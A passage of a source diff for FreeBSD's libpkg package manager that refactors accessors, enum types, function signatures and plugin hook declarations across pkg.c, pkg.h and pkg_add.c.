pkg_open2(struct pkg **pkg_p, struct archive **a, struct archive_entry **ae, const char *path, struct sbuf *mbuf)
+
pkg_open2(struct pkg **pkg_p, struct archive **a, struct archive_entry **ae, const char *path)
{
	struct pkg *pkg;
	pkg_error_t retcode = EPKG_OK;
	int ret;
	int64_t size;
-
	struct sbuf *manifest = mbuf;
+
	struct sbuf *manifest;
	const char *fpath;
	char buf[BUFSIZ];
	struct sbuf **sbuf;
@@ -979,7 +948,7 @@ pkg_open2(struct pkg **pkg_p, struct archive **a, struct archive_entry **ae, con

	assert(path != NULL && path[0] != '\0');

-
	sbuf_init(&manifest);
+
	manifest = sbuf_new_auto();

	*a = archive_read_new();
	archive_read_support_compression_all(*a);
@@ -1030,7 +999,7 @@ pkg_open2(struct pkg **pkg_p, struct archive **a, struct archive_entry **ae, con
			if (strcmp(fpath, files[i].name) == 0) {
				sbuf = &pkg->fields[files[i].attr];
				sbuf_init(sbuf);
-
				while ((size = archive_read_data(*a, buf, sizeof(buf))) > 0 ) {
+
				while ((size = archive_read_data(*a, buf, sizeof(buf))) > 0) {
					sbuf_bcat(*sbuf, buf, size);
				}
				sbuf_finish(*sbuf);
@@ -1053,10 +1022,7 @@ pkg_open2(struct pkg **pkg_p, struct archive **a, struct archive_entry **ae, con
	}

	cleanup:
-
	if (mbuf == NULL)
-
		sbuf_delete(manifest);
-
	else
-
		sbuf_clear(manifest);
+
	sbuf_delete(manifest);

	if (retcode != EPKG_OK && retcode != EPKG_END) {
		if (*a != NULL)
@@ -1089,8 +1055,8 @@ pkg_copy_tree(struct pkg *pkg, const char *src, const char *dest)
	}

	while (pkg_files(pkg, &file) == EPKG_OK) {
-
		snprintf(spath, sizeof(spath), "%s%s", src, pkg_file_get(file, PKG_FILE_PATH));
-
		snprintf(dpath, sizeof(dpath), "%s%s", dest, pkg_file_get(file, PKG_FILE_PATH));
+
		snprintf(spath, sizeof(spath), "%s%s", src, pkg_file_path(file));
+
		snprintf(dpath, sizeof(dpath), "%s%s", dest, pkg_file_path(file));
		packing_append_file(pack, spath, dpath);
	}

@@ -1109,8 +1075,8 @@ pkg_test_filesum(struct pkg *pkg)
	assert(pkg != NULL);

	while (pkg_files(pkg, &f) == EPKG_OK) {
-
		path = pkg_file_get(f, PKG_FILE_PATH);
-
		sum = pkg_file_get(f, PKG_FILE_SUM);
+
		path = pkg_file_path(f);
+
		sum = pkg_file_cksum(f);
		if (*sum != '\0') {
			sha256_file(path, sha256);
			if (strcmp(sha256, sum) != 0)
@@ -1133,8 +1099,8 @@ pkg_recompute(struct pkgdb *db, struct pkg *pkg)
	char sha256[SHA256_DIGEST_LENGTH * 2 + 1];

	while (pkg_files(pkg, &f) == EPKG_OK) {
-
		path = pkg_file_get(f, PKG_FILE_PATH);
-
		sum = pkg_file_get(f, PKG_FILE_SUM);
+
		path = pkg_file_path(f);
+
		sum = pkg_file_cksum(f);
		if (lstat(path, &st) == 0) {
			regular = true;
			if (S_ISLNK(st.st_mode)) {
modified libpkg/pkg.h
@@ -37,17 +37,18 @@
#include <sys/sbuf.h>
#include <openssl/pem.h>

-
#define PKGVERSION "1.0-beta15"
-
/* PORTVERSION equivalent for proper pkg-static->ports-mgmt/pkg version comparison
-
 * in pkgdb_query_newpkgversion() */
-
#define PKG_PORTVERSION "1.0.b15"
+
#define PKGVERSION "1.0.90"
+

+
/* PORTVERSION equivalent for proper pkg-static->ports-mgmt/pkg
+
 * version comparison in pkgdb_query_newpkgversion() */
+

+
#define PKG_PORTVERSION "1.0.90"

struct pkg;
struct pkg_dep;
struct pkg_file;
struct pkg_dir;
struct pkg_category;
-
struct pkg_script;
struct pkg_option;
struct pkg_license;
struct pkg_user;
@@ -64,23 +65,25 @@ struct pkg_repos_entry;

struct pkg_config_kv;

+
struct pkg_plugins;
+

typedef enum {
	/**
	 * The license logic is OR (dual in the ports)
	 */
-
	LICENSE_OR='|',
+
	LICENSE_OR = '|',
	/**
	 * The license logic is AND (multi in the ports)
	 */
-
	LICENSE_AND='&',
+
	LICENSE_AND = '&',
	/**
	 * The license logic un single (default in the ports)
	 */
-
	LICENSE_SINGLE=1
+
	LICENSE_SINGLE = 1U
} lic_t;

typedef enum {
-
	PKGDB_DEFAULT=0,
+
	PKGDB_DEFAULT = 0,
	PKGDB_REMOTE
} pkgdb_t;

@@ -139,16 +142,16 @@ typedef enum {
	/**
	 * The pkg refers to a local file archive.
	 */
-
	PKG_FILE = 1 << 0,
+
	PKG_FILE = (1U << 0),
	/**
	 * The pkg refers to a package available on the remote repository.
	 * @todo Document which attributes are available.
	 */
-
	PKG_REMOTE = 1 << 1,
+
	PKG_REMOTE = (1U << 1),
	/**
	 * The pkg refers to a localy installed package.
	 */
-
	PKG_INSTALLED = 1 << 2,
+
	PKG_INSTALLED = (1U << 2),
} pkg_t;

/**
@@ -156,7 +159,7 @@ typedef enum {
 * Used by pkg_get() and pkg_set()
 */
typedef enum {
-
	PKG_ORIGIN = 1,
+
	PKG_ORIGIN = 1U,
	PKG_NAME,
	PKG_VERSION,
	PKG_COMMENT,
@@ -173,7 +176,7 @@ typedef enum {
	PKG_NEWVERSION,
	PKG_REPONAME,
	PKG_REPOURL, /* end of fields */
-
	PKG_FLATSIZE,
+
	PKG_FLATSIZE = 64U,
	PKG_NEW_FLATSIZE,
	PKG_NEW_PKGSIZE,
	PKG_LICENSE_LOGIC,
@@ -183,7 +186,7 @@ typedef enum {
} pkg_attr;

typedef enum {
-
	PKG_SET_FLATSIZE = 1,
+
	PKG_SET_FLATSIZE = 1U,
	PKG_SET_AUTOMATIC,
	PKG_SET_DEPORIGIN,
	PKG_SET_ORIGIN
@@ -216,14 +219,13 @@ typedef enum {
	PKG_DIRS,
	PKG_USERS,
	PKG_GROUPS,
-
	PKG_SCRIPTS,
	PKG_SHLIBS
} pkg_list;

/**
 * Determine the type of a pkg_script.
 */
-
typedef enum _pkg_script_t {
+
typedef enum {
	PKG_SCRIPT_PRE_INSTALL = 0,
	PKG_SCRIPT_POST_INSTALL,
	PKG_SCRIPT_PRE_DEINSTALL,
@@ -233,30 +235,36 @@ typedef enum _pkg_script_t {
	PKG_SCRIPT_INSTALL,
	PKG_SCRIPT_DEINSTALL,
	PKG_SCRIPT_UPGRADE
-
} pkg_script_t;
+
} pkg_script;

typedef enum _pkg_jobs_t {
	PKG_JOBS_INSTALL,
	PKG_JOBS_DEINSTALL,
-
	PKG_JOBS_FETCH
+
	PKG_JOBS_FETCH,
} pkg_jobs_t;

typedef enum _pkg_config_key {
	PKG_CONFIG_REPO = 0,
-
	PKG_CONFIG_DBDIR = 1,
-
	PKG_CONFIG_CACHEDIR = 2,
-
	PKG_CONFIG_PORTSDIR = 3,
-
	PKG_CONFIG_REPOKEY = 4,
-
	PKG_CONFIG_MULTIREPOS = 5,
-
	PKG_CONFIG_HANDLE_RC_SCRIPTS = 6,
-
	PKG_CONFIG_ASSUME_ALWAYS_YES = 7,
-
	PKG_CONFIG_REPOS = 8,
-
	PKG_CONFIG_PLIST_KEYWORDS_DIR = 9,
-
	PKG_CONFIG_SYSLOG = 10,
-
	PKG_CONFIG_SHLIBS = 11,
-
	PKG_CONFIG_AUTODEPS = 12,
-
	PKG_CONFIG_ABI = 13,
-
	PKG_CONFIG_DEVELOPER_MODE = 14,
+
	PKG_CONFIG_DBDIR,
+
	PKG_CONFIG_CACHEDIR,
+
	PKG_CONFIG_PORTSDIR,
+
	PKG_CONFIG_REPOKEY,
+
	PKG_CONFIG_MULTIREPOS,
+
	PKG_CONFIG_HANDLE_RC_SCRIPTS,
+
	PKG_CONFIG_ASSUME_ALWAYS_YES,
+
	PKG_CONFIG_REPOS,
+
	PKG_CONFIG_PLIST_KEYWORDS_DIR,
+
	PKG_CONFIG_SYSLOG,
+
	PKG_CONFIG_SHLIBS,
+
	PKG_CONFIG_AUTODEPS,
+
	PKG_CONFIG_ABI,
+
	PKG_CONFIG_DEVELOPER_MODE,
+
	PKG_CONFIG_PORTAUDIT_SITE,
+
	PKG_CONFIG_SRV_MIRROR,
+
	PKG_CONFIG_FETCH_RETRY,
+
	PKG_CONFIG_PLUGINS_DIR,
+
	PKG_CONFIG_ENABLE_PLUGINS,
+
	PKG_CONFIG_PLUGINS_SUMMARY
} pkg_config_key;

typedef enum {
@@ -264,6 +272,38 @@ typedef enum {
	PKG_CONFIG_KV_VALUE
} pkg_config_kv_t;

+
typedef enum _pkg_stats_t {
+
	PKG_STATS_LOCAL_COUNT = 0,
+
	PKG_STATS_LOCAL_SIZE,
+
	PKG_STATS_REMOTE_COUNT,
+
	PKG_STATS_REMOTE_UNIQUE,
+
	PKG_STATS_REMOTE_SIZE,
+
	PKG_STATS_REMOTE_REPOS,
+
} pkg_stats_t;
+

+
/**
+
 * Keys for accessing pkg plugins data
+
 */
+
typedef enum _pkg_plugins_key {
+
	PKG_PLUGINS_NAME = 0,
+
	PKG_PLUGINS_DESC,
+
	PKG_PLUGINS_VERSION,
+
	PKG_PLUGINS_PLUGINFILE,
+
	PKG_PLUGINS_ENABLED,
+
} pkg_plugins_key;
+

+
/**
+
 * Keys for hooking into the library
+
 */
+
typedef enum _pkg_plugins_hook_t {
+
	PKG_PLUGINS_HOOK_PRE_INSTALL = 1,
+
	PKG_PLUGINS_HOOK_POST_INSTALL,
+
	PKG_PLUGINS_HOOK_PRE_DEINSTALL,
+
	PKG_PLUGINS_HOOK_POST_DEINSTALL,
+
	PKG_PLUGINS_HOOK_PRE_FETCH,
+
	PKG_PLUGINS_HOOK_POST_FETCH,
+
} pkg_plugins_hook_t;
+

/**
 * Error type used everywhere by libpkg.
 */
@@ -298,6 +338,14 @@ typedef enum {
	 * local file newer than remote
	 */
	EPKG_UPTODATE,
+
	/**
+
	 * unkown keyword
+
	 */
+
	EPKG_UNKNOWN,
+
	/**
+
	 * repo DB schema incompatible version
+
	 */
+
	EPKG_REPOSCHEMA,
} pkg_error_t;

/**
@@ -328,7 +376,7 @@ int pkg_is_valid(struct pkg *);
 * NULL pointer, the function allocate a new pkg using pkg_new().
 * @param path The path to the local package archive.
 */
-
int pkg_open(struct pkg **p, const char *path, struct sbuf *mbuf);
+
int pkg_open(struct pkg **p, const char *path);

/**
 * @return the type of the package.
@@ -344,7 +392,14 @@ pkg_t pkg_type(struct pkg const * const);
int pkg_get2(struct pkg const *const, ...);
#define pkg_get(pkg, ...) pkg_get2(pkg, __VA_ARGS__, -1)

-
int pkg_list_is_empty(struct pkg *, pkg_list);
+
/**
+
 * Specific getters for simple attributes.
+
 * @return NULL-terminated string.
+
 */
+
const char *pkg_name(struct pkg const *const pkg);
+
const char *pkg_version(struct pkg const *const pkg);
+

+
int pkg_list_count(struct pkg *, pkg_list);
/**
 * Iterates over the dependencies of the package.
 * @param dep Must be set to NULL for the first call.
@@ -403,13 +458,6 @@ int pkg_users(struct pkg *pkg, struct pkg_user **user);
int pkg_groups(struct pkg *pkg, struct pkg_group **group);

/**
-
 * Iterates over the scripts of the package.
-
 * @param script Must be set to NULL for the first call.
-
 * @return An error code.
-
 */
-
int pkg_scripts(struct pkg *, struct pkg_script **script);
-

-
/**
 * Iterates over the options of the package.
 * @param  option Must be set to NULL for the first call.
 * @return An error code.
@@ -432,7 +480,19 @@ int pkg_shlibs(struct pkg *pkg, struct pkg_shlib **shlib);
 * @return An error code
 */

+
 /* Don't conflict with PKG_LOAD_* q.v. */
+
#define PKG_CONTAINS_ELF_OBJECTS	(1U << 24)
+
#define PKG_CONTAINS_STATIC_LIBS	(1U << 25)
+
#define PKG_CONTAINS_H_OR_LA		(1U << 26)
+

int pkg_analyse_files(struct pkgdb *, struct pkg *);
+

+
/**
+
 * Suggest if a package could be marked architecture independent or
+
 * not.
+
 */
+
int pkg_suggest_arch(struct pkg *, const char *, bool);
+

/**
 * Generic setter for simple attributes.
 */
@@ -450,7 +510,8 @@ int pkgdb_set2(struct pkgdb *db, struct pkg *pkg, ...);
 * @param sha256 The new checksum
 * @return An error code
 */
-
int pkgdb_file_set_cksum(struct pkgdb *db, struct pkg_file *file, const char *sha256);
+
int pkgdb_file_set_cksum(struct pkgdb *db, struct pkg_file *file,
+
			 const char *sha256);

/**
 * Read the content of a file into a buffer, then call pkg_set().
@@ -473,7 +534,8 @@ int pkg_addrdep(struct pkg *pkg, const char *name, const char *origin, const
 * @param check_duplicates ensure no duplicate files are added to the pkg?
 * @return An error code.
 */
-
int pkg_addfile(struct pkg *pkg, const char *path, const char *sha256, bool check_duplicates);
+
int pkg_addfile(struct pkg *pkg, const char *path, const char *sha256,
+
		bool check_duplicates);

/**
 * Allocate a new struct pkg_file and add it to the files of pkg;
@@ -485,13 +547,16 @@ int pkg_addfile(struct pkg *pkg, const char *path, const char *sha256, bool chec
 * @param check_duplicates ensure no duplicate files are added to the pkg?
 * @return An error code.
 */
-
int pkg_addfile_attr(struct pkg *pkg, const char *path, const char *sha256, const char *uname, const char *gname, mode_t perm, bool check_duplicates);
+
int pkg_addfile_attr(struct pkg *pkg, const char *path, const char *sha256,
+
		     const char *uname, const char *gname, mode_t perm,
+
		     bool check_duplicates);

/**
 * Add a path
 * @return An error code.
 */
-
int pkg_adddir(struct pkg *pkg, const char *path, bool try);
+
int pkg_adddir(struct pkg *pkg, const char *path, bool try,
+
		    bool check_duplicates);

/**
 * Allocate a new struct pkg_file and add it to the files of pkg;
@@ -501,7 +566,9 @@ int pkg_adddir(struct pkg *pkg, const char *path, bool try);
 * @param perm the permission
 * @return An error code.
 */
-
int pkg_adddir_attr(struct pkg *pkg, const char *path, const char *uname, const char *gname, mode_t perm, bool try);
+
int pkg_adddir_attr(struct pkg *pkg, const char *path, const char *uname,
+
		    const char *gname, mode_t perm, bool try,
+
		    bool check_duplicates);

/**
 * Add a category
@@ -544,14 +611,14 @@ int pkg_addgid(struct pkg *pkg, const char *group, const char *gidstr);
 * @param path The path to the script on disk.
 @ @return An error code.
 */
-
int pkg_addscript(struct pkg *pkg, const char *data, pkg_script_t type);
+
int pkg_addscript(struct pkg *pkg, const char *data, pkg_script type);

/**
 * Helper which call pkg_addscript() with the content of the file and
 * with the correct type.
 */
int pkg_addscript_file(struct pkg *pkg, const char *path);
-
int pkg_appendscript(struct pkg *pkg, const char *cmd, pkg_script_t type);
+
int pkg_appendscript(struct pkg *pkg, const char *cmd, pkg_script type);

/**
 * Allocate a new struct pkg_option and add it to the options of pkg.
@@ -584,31 +651,49 @@ int pkg_emit_manifest(struct pkg *pkg, char **buf);
/* pkg_dep */
const char *pkg_dep_get(struct pkg_dep const * const , const pkg_dep_attr);

+
const char *pkg_dep_name(struct pkg_dep const * const);
+
const char *pkg_dep_origin(struct pkg_dep const * const);
+
const char *pkg_dep_version(struct pkg_dep const * const);
+

/* pkg_file */
const char *pkg_file_get(struct pkg_file const * const, const pkg_file_attr);

-
const char *pkg_dir_path(struct pkg_dir *);
-
bool pkg_dir_try(struct pkg_dir *);
+
const char *pkg_file_path(struct pkg_file const * const);
+
const char *pkg_file_cksum(struct pkg_file const * const);
+
const char *pkg_file_uname(struct pkg_file const * const);
+
const char *pkg_file_gname(struct pkg_file const * const);
+
mode_t pkg_file_mode(struct pkg_file const * const);

-
const char *pkg_category_name(struct pkg_category *);
+
/* pkg_dir */
+
const char *pkg_dir_path(struct pkg_dir const * const);
+
const char *pkg_dir_uname(struct pkg_dir const * const);
+
const char *pkg_dir_gname(struct pkg_dir const * const);
+
mode_t pkg_dir_mode(struct pkg_dir const * const);
+
bool pkg_dir_try(struct pkg_dir const * const);

-
const char *pkg_license_name(struct pkg_license *);
+
/* pkg_category */
+
const char *pkg_category_name(struct pkg_category const * const);

-
const char *pkg_user_name(struct pkg_user *);
-
const char *pkg_user_uidstr(struct pkg_user *);
-
const char *pkg_group_name(struct pkg_group *);
-
const char *pkg_group_gidstr(struct pkg_group *);
+
/* pkg_license */
+
const char *pkg_license_name(struct pkg_license const * const);
+

+
/* pkg_user */
+
const char *pkg_user_name(struct pkg_user const * const);
+
const char *pkg_user_uidstr(struct pkg_user const * const);
+

+
/* pkg_group */
+
const char *pkg_group_name(struct pkg_group const * const);
+
const char *pkg_group_gidstr(struct pkg_group const * const);

/* pkg_script */
-
const char *pkg_script_data(struct pkg_script *);
-
pkg_script_t pkg_script_type(struct pkg_script *);
+
const char *pkg_script_get(struct pkg const * const, pkg_script);

/* pkg_option */
-
const char *pkg_option_opt(struct pkg_option *);
-
const char *pkg_option_value(struct pkg_option *);
+
const char *pkg_option_opt(struct pkg_option const * const);
+
const char *pkg_option_value(struct pkg_option const * const);

/* pkg_shlib */
-
const char *pkg_shlib_name(struct pkg_shlib *);
+
const char *pkg_shlib_name(struct pkg_shlib const * const);

/**
 * @param db A pointer to a struct pkgdb object
@@ -616,16 +701,18 @@ const char *pkg_shlib_name(struct pkg_shlib *);
 * @return EPKG_OK if the package is installed,
 * and != EPKG_OK if the package is not installed or an error occurred
 */
-
int pkg_is_installed(struct pkgdb *db, const char *origin); 
+
int pkg_is_installed(struct pkgdb *db, const char *origin);

/**
 * Create a repository database.
 * @param path The path where the repository live.
+
 * @param force If true, rebuild the repository catalogue from scratch
 * @param callback A function which is called at every step of the process.
 * @param data A pointer which is passed to the callback.
 * @param sum An 65 long char array to receive the sha256 sum
 */
-
int pkg_create_repo(char *path, void (*callback)(struct pkg *, void *), void *);
+
int pkg_create_repo(char *path, bool force,
+
		    void (*callback)(struct pkg *, void *), void *);
int pkg_finish_repo(char *path, pem_password_cb *cb, char *rsa_key_path);

/**
@@ -645,13 +732,13 @@ void pkgdb_close(struct pkgdb *db);
 */
int pkgdb_remote_init(struct pkgdb *db, const char *reponame);

-
/** 
-
 * Dump the content of the database in yaml format
-
 * only to use when mtree will be deprecated
+
/**
+
 * Dump to or load from a backup copy of the main database file
+
 * (local.sqlite)
 */

-
int pkgdb_dump(struct pkgdb *db, char *dest);
-
int pkgdb_load(struct pkgdb *db, char *dest);
+
int pkgdb_dump(struct pkgdb *db, const char *dest);
+
int pkgdb_load(struct pkgdb *db, const char *src);

/**
 * Register a ports to the database.
@@ -661,7 +748,7 @@ int pkgdb_load(struct pkgdb *db, char *dest);
int pkgdb_register_ports(struct pkgdb *db, struct pkg *pkg);

/**
-
 * Unregister a package from the database.
+
 * Unregister a package from the database
 * @return An error code.
 */
int pkgdb_unregister_pkg(struct pkgdb *pkg, const char *origin);
@@ -672,20 +759,21 @@ int pkgdb_unregister_pkg(struct pkgdb *pkg, const char *origin);
 * @warning Returns NULL on failure.
 */
struct pkgdb_it * pkgdb_query(struct pkgdb *db, const char *pattern,
-
							  match_t type);
-
struct pkgdb_it * pkgdb_rquery(struct pkgdb *db, const char *pattern, match_t type, const char *reponame);
+
    match_t type);
+
struct pkgdb_it * pkgdb_rquery(struct pkgdb *db, const char *pattern,
+
    match_t type, const char *reponame);
struct pkgdb_it * pkgdb_search(struct pkgdb *db, const char *pattern,
-
		match_t type, unsigned int field, const char *reponame);
+
    match_t type, pkgdb_field field, pkgdb_field sort, const char *reponame);

/**
-
 * 
+
 *
 */
-
struct pkgdb_it *pkgdb_query_installs(struct pkgdb *db, match_t type, int nbpkgs, char **pkgs, const char *reponame, bool force);
+
struct pkgdb_it *pkgdb_query_installs(struct pkgdb *db, match_t type, int nbpkgs, char **pkgs, const char *reponame, bool force, bool recursive);
struct pkgdb_it *pkgdb_query_upgrades(struct pkgdb *db, const char *reponame, bool all);
struct pkgdb_it *pkgdb_query_downgrades(struct pkgdb *db, const char *reponame);
struct pkgdb_it *pkgdb_query_delete(struct pkgdb *db, match_t type, int nbpkgs, char **pkgs, int recursive);
struct pkgdb_it *pkgdb_query_autoremove(struct pkgdb *db);
-
struct pkgdb_it *pkgdb_query_fetch(struct pkgdb *db, match_t type, int nbpkgs, char **pkgs, const char *reponame, int flags);
+
struct pkgdb_it *pkgdb_query_fetch(struct pkgdb *db, match_t type, int nbpkgs, char **pkgs, const char *reponame, unsigned flags);

/**
 * @todo Return directly the struct pkg?
@@ -694,19 +782,20 @@ struct pkgdb_it * pkgdb_query_which(struct pkgdb *db, const char *path);

struct pkgdb_it * pkgdb_query_shlib(struct pkgdb *db, const char *shlib);

-
#define PKG_LOAD_BASIC 0
-
#define PKG_LOAD_DEPS (1<<0)
-
#define PKG_LOAD_RDEPS (1<<1)
-
#define PKG_LOAD_FILES (1<<2)
-
#define PKG_LOAD_SCRIPTS (1<<3)
-
#define PKG_LOAD_OPTIONS (1<<4)
-
#define PKG_LOAD_MTREE (1<<5)
-
#define PKG_LOAD_DIRS (1<<6)
-
#define PKG_LOAD_CATEGORIES (1<<7)
-
#define PKG_LOAD_LICENSES (1<<8)
-
#define PKG_LOAD_USERS (1<<9)
-
#define PKG_LOAD_GROUPS (1<<10)
-
#define PKG_LOAD_SHLIBS (1<<11)
+
#define PKG_LOAD_BASIC		0
+
#define PKG_LOAD_DEPS		(1U << 0)
+
#define PKG_LOAD_RDEPS		(1U << 1)
+
#define PKG_LOAD_FILES		(1U << 2)
+
#define PKG_LOAD_SCRIPTS	(1U << 3)
+
#define PKG_LOAD_OPTIONS	(1U << 4)
+
#define PKG_LOAD_MTREE		(1U << 5)
+
#define PKG_LOAD_DIRS		(1U << 6)
+
#define PKG_LOAD_CATEGORIES	(1U << 7)
+
#define PKG_LOAD_LICENSES	(1U << 8)
+
#define PKG_LOAD_USERS		(1U << 9)
+
#define PKG_LOAD_GROUPS		(1U << 10)
+
#define PKG_LOAD_SHLIBS		(1U << 11)
+
/* Make sure new PKG_LOAD don't conflict with PKG_CONTAINS_* */

/**
 * Get the next pkg.
@@ -715,7 +804,7 @@ struct pkgdb_it * pkgdb_query_shlib(struct pkgdb *db, const char *shlib);
 * @param flags OR'ed PKG_LOAD_*
 * @return An error code.
 */
-
int pkgdb_it_next(struct pkgdb_it *, struct pkg **pkg, int flags);
+
int pkgdb_it_next(struct pkgdb_it *, struct pkg **pkg, unsigned flags);

/**
 * Free a struct pkgdb_it.
@@ -736,19 +825,20 @@ int pkgdb_compact(struct pkgdb *db);
 * @param path The path to the package archive file on the local disk
 * @return An error code.
 */
-
int pkg_add(struct pkgdb *db, const char *path, int flags);
+
int pkg_add(struct pkgdb *db, const char *path, unsigned flags);

-
#define PKG_ADD_UPGRADE (1 << 0)
-
#define PKG_ADD_UPGRADE_NEW (1 << 1)
-
#define PKG_ADD_AUTOMATIC (1 << 2)
-
#define PKG_ADD_FORCE (1 << 3)
+
#define PKG_ADD_UPGRADE			(1U << 0)
+
#define PKG_ADD_USE_UPGRADE_SCRIPTS	(1U << 1)
+
#define PKG_ADD_AUTOMATIC		(1U << 2)
+
#define PKG_ADD_FORCE			(1U << 3)

/**
 * Allocate a new pkg_jobs.
 * @param db A pkgdb open with PKGDB_REMOTE.
 * @return An error code.
 */
-
int pkg_jobs_new(struct pkg_jobs **jobs, pkg_jobs_t type, struct pkgdb *db);
+
int pkg_jobs_new(struct pkg_jobs **jobs, pkg_jobs_t type, struct pkgdb *db,
+
		 bool force, bool dry_run);

/**
 * Free a pkg_jobs
@@ -777,7 +867,7 @@ int pkg_jobs(struct pkg_jobs *jobs, struct pkg **pkg);
 * Apply the jobs in the queue (fetch and install).
 * @return An error code.
 */
-
int pkg_jobs_apply(struct pkg_jobs *jobs, int force);
+
int pkg_jobs_apply(struct pkg_jobs *jobs);

/**
 * Archive formats options.
@@ -787,25 +877,66 @@ typedef enum pkg_formats { TAR, TGZ, TBZ, TXZ } pkg_formats;
/**
 * Create package from an installed & registered package
 */
-
int pkg_create_installed(const char *, pkg_formats, const char *, struct pkg *);
+
int pkg_create_installed(const char *, pkg_formats, const char *,
+
			 struct pkg *);

/**
-
 * Create package from fakeroot install with a metadata directory
+
 * Create package from stage install with a metadata directory
 */
-
int pkg_create_fakeroot(const char *, pkg_formats, const char *, const char *);
+
int pkg_create_staged(const char *, pkg_formats, const char *, const char *,
+
		      char *);

/**
 * Download the latest repo db file and checks its signature if any
+
 * @param force Always download the repo catalogue
+
 */
+
int pkg_update(const char *name, const char *packagesite, bool force);
+

+
/**
+
 * Get statistics information from the package database(s)
+
 * @param db A valid database object as returned by pkgdb_open()
+
 * @param type Type of statistics to be returned
+
 * @return The statistic information requested
+
 */
+
int64_t pkgdb_stats(struct pkgdb *db, pkg_stats_t type);
+

+
/**
+
 * pkg plugins functions
+
 * @todo Document
 */
-
int pkg_update(const char *name, const char *packagesite);
+
int pkg_plugins_init(void);
+
int pkg_plugins_shutdown(void);
+
int pkg_plugins_list(struct pkg_plugins **plugin);
+
int pkg_plugins_display_loaded(void);
+
bool pkg_plugins_is_enabled(struct pkg_plugins *p);
+
bool pkg_plugins_is_loaded(struct pkg_plugins *p);
+
const char *pkg_plugins_get(struct pkg_plugins *p, pkg_plugins_key key);

/**
+
 * This is where plugins hook into the library using pkg_plugins_hook()
+
 * @todo: Document
+
 */
+
typedef int(*pkg_plugins_callback)(void *data, struct pkgdb *db);
+
int pkg_plugins_hook(const char *pluginname, pkg_plugins_hook_t hook, pkg_plugins_callback callback);
+
int pkg_plugins_hook_run(pkg_plugins_hook_t hook, void *data, struct pkgdb *db);
+

+
/**
+
 * These functions are used by plugins for registering new commands provided by plugins
+
 * @todo: Document
+
 */
+
typedef int(*pkg_plugins_cmd_callback)(int argc, char **argv);
+
int pkg_plugins_register_cmd(const char *pluginname, pkg_plugins_cmd_callback callback);
+
int pkg_plugins_cmd_run(const char *cmd, int argc, char **argv);
+
bool pkg_plugins_provides_cmd(struct pkg_plugins *p);
+
			     
+
/**
 * Get the value of a configuration key
 */
int pkg_config_string(pkg_config_key key, const char **value);
int pkg_config_bool(pkg_config_key key, bool *value);
int pkg_config_list(pkg_config_key key, struct pkg_config_kv **kv);
const char *pkg_config_kv_get(struct pkg_config_kv *kv, pkg_config_kv_t type);
+
int pkg_config_int64(pkg_config_key key, int64_t *value);

/**
 * @todo Document
@@ -819,7 +950,7 @@ int pkg_version_cmp(const char * const , const char * const);
int pkg_fetch_file(const char *url, const char *dest, time_t t);

/* glue to deal with ports */
-
int ports_parse_plist(struct pkg *, char *);
+
int ports_parse_plist(struct pkg *, char *, const char *);

/**
 * @todo Document
@@ -853,6 +984,7 @@ typedef enum {
	PKG_EVENT_NOREMOTEDB,
	PKG_EVENT_NOLOCALDB,
	PKG_EVENT_FILE_MISMATCH,
+
	PKG_EVENT_DEVELOPER_MODE,
} pkg_event_t;

struct pkg_event {
@@ -920,10 +1052,12 @@ typedef int(*pkg_event_cb)(void *, struct pkg_event *);
void pkg_event_register(pkg_event_cb cb, void *data);

int pkg_init(const char *);
+
int pkg_initialized(void);
int pkg_shutdown(void);

void pkg_test_filesum(struct pkg *);
void pkg_recompute(struct pkgdb *, struct pkg *);
+
int pkgdb_reanalyse_shlibs(struct pkgdb *, struct pkg *);

int pkg_get_myarch(char *pkgarch, size_t sz);

modified libpkg/pkg_add.c
@@ -43,11 +43,11 @@

static int
dep_installed(struct pkg_dep *dep, struct pkgdb *db) {
-
	struct pkg *p = NULL;
-
	struct pkgdb_it *it;
-
	int ret = EPKG_FATAL;
+
	struct pkg	*p = NULL;
+
	struct pkgdb_it	*it;
+
	int		 ret = EPKG_FATAL;

-
	it = pkgdb_query(db, pkg_dep_get(dep, PKG_DEP_ORIGIN), MATCH_EXACT);
+
	it = pkgdb_query(db, pkg_dep_origin(dep), MATCH_EXACT);

	if (pkgdb_it_next(it, &p, PKG_LOAD_BASIC) == EPKG_OK)
		ret = EPKG_OK;
@@ -61,13 +61,16 @@ dep_installed(struct pkg_dep *dep, struct pkgdb *db) {
static int
do_extract(struct archive *a, struct archive_entry *ae)
{
-
	int retcode = EPKG_OK;
-
	int ret = 0;
-
	char path[MAXPATHLEN + 1];
+
	int	retcode = EPKG_OK;
+
	int	ret = 0;
+
	char	path[MAXPATHLEN + 1];
	struct stat st;

	do {
-
		if (archive_read_extract(a, ae, EXTRACT_ARCHIVE_FLAGS) != ARCHIVE_OK) {
+
		const char *pathname = archive_entry_pathname(ae);
+

+
		ret = archive_read_extract(a, ae, EXTRACT_ARCHIVE_FLAGS);
+
		if (ret != ARCHIVE_OK) {
			/*
			 * show error except when the failure is during
			 * extracting a directory and that the directory already
@@ -75,8 +78,8 @@ do_extract(struct archive *a, struct archive_entry *ae)
			 * this allow to install packages linux_base from
			 * package for example
			 */
-
			if (!(archive_entry_filetype(ae) == AE_IFDIR &&
-
			    is_dir(archive_entry_pathname(ae)))) {
+
			if (archive_entry_filetype(ae) != AE_IFDIR ||
+
			    !is_dir(pathname)) {
				pkg_emit_error("archive_read_extract(): %s",
				    archive_error_string(a));
				retcode = EPKG_FATAL;
@@ -92,12 +95,13 @@ do_extract(struct archive *a, struct archive_entry *ae)
		 * if conf1.cfg doesn't exists create it based on
		 * conf1.cfg.pkgconf
		 */
-
		if (is_conf_file(archive_entry_pathname(ae), path, sizeof(path))
+
		if (is_conf_file(pathname, path, sizeof(path))
		    && lstat(path, &st) == ENOENT) {
			archive_entry_set_pathname(ae, path);
-
			if (archive_read_extract(a, ae, EXTRACT_ARCHIVE_FLAGS) != ARCHIVE_OK) {
+
			ret = archive_read_extract(a,ae, EXTRACT_ARCHIVE_FLAGS);
+
			if (ret != ARCHIVE_OK) {
				pkg_emit_error("archive_read_extract(): %s",
-
							   archive_error_string(a));
+
				    archive_error_string(a));
				retcode = EPKG_FATAL;
				break;
			}
@@ -106,7 +110,7 @@ do_extract(struct archive *a, struct archive_entry *ae)

	if (ret != ARCHIVE_EOF) {
		pkg_emit_error("archive_read_next_header(): %s",
-
					   archive_error_string(a));
+
		    archive_error_string(a));
		retcode = EPKG_FATAL;
	}

@@ -114,22 +118,22 @@ do_extract(struct archive *a, struct archive_entry *ae)
}

int
-
pkg_add(struct pkgdb *db, const char *path, int flags)
+
